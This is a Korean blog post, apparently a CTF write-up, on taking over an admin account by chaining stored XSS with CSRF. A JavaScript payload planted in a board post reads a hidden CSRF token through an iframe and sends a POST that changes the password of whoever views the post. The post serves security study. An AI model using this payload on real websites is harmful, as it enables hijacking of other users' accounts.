Almon Dev

ctf 풀이 (GET Admin 3) 본문

모의해킹/모의해킹

ctf 풀이 (GET Admin 3)

Almon 2025. 1. 13. 01:49

ctf 문제 풀이

 

GET Admin 3

 

 

풀이

1. CSRF 취약점 찾기

문제에서 admin 계정을 탈취하라고 합니다. 그렇다면 비밀번호 변경 기능이 CSRF 취약점이 있는지 확인합니다.

 

마이페이지의 수정 기능에 인증정보가 포함되지 않는 것 같습니다.

 

그런데 요청값을 보니 입력한 적 없는 token이 포함되어 있습니다.

아무래도 마이페이지에 접근할 때 자동으로 form태그에 hidden 타입으로 생성되어 있는 것 같습니다.

 

GET 메서드도 확인해 봤지만 불가능했습니다.

 

2. 관리자 계정 탈취하기

그렇다면 csrf token을 탈취한 뒤에 POST 메서드로 요청을 보내면 CSRF 공격이 가능할 것 같습니다.

그러기 위해서는 우선 XSS 취약점을 찾아야 합니다.

 

게시판 글 작성에서 JS를 삽입해 CSRF Token을 탈취한 뒤 CSRF 공격을 하도록 하겠습니다.

iframe을 이용해서 마이페이지에 접근하고 csrf_token을 탈취한 뒤

fetch를 이용해서 post요청을 보내 비밀번호를 변경하는 스크립트입니다.

const frame = document.querySelector('#frame');
frame.onload = () => {
const frameDom = frame.contentDocument;
const token = frameDom.querySelector('input[name="csrf_token"]').value;
const url = 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php';
fetch(url, {
method : 'POST',
headers : {
'Content-Type' : 'application/x-www-form-urlencoded',
},
body : `pw=12345&csrf_token=${token}`,
})
.then(res => res.text())
.then(res => console.log(res))
}

 

게시글에 접근하면 비밀번호가 변경되는것을 확인할 수 있습니다.

 

이제 관리자봇이 해당 게시글에 접근하도록 하면 됩니다.

 

관리자 계정에 로그인합니다.

 

'모의해킹 > 모의해킹' 카테고리의 다른 글

파일 업로드 / 다운로드 취약점 (feat. LFI)  (2) 2025.02.15
CSRF 정리 (feat. SOP/CORS)  (0) 2025.01.16
ctf 풀이 (GET Admin 2)  (0) 2025.01.13
ctf 풀이 (GET Admin 1)  (0) 2025.01.13
모의해킹 공부 12주차 (CSRF)  (0) 2025.01.11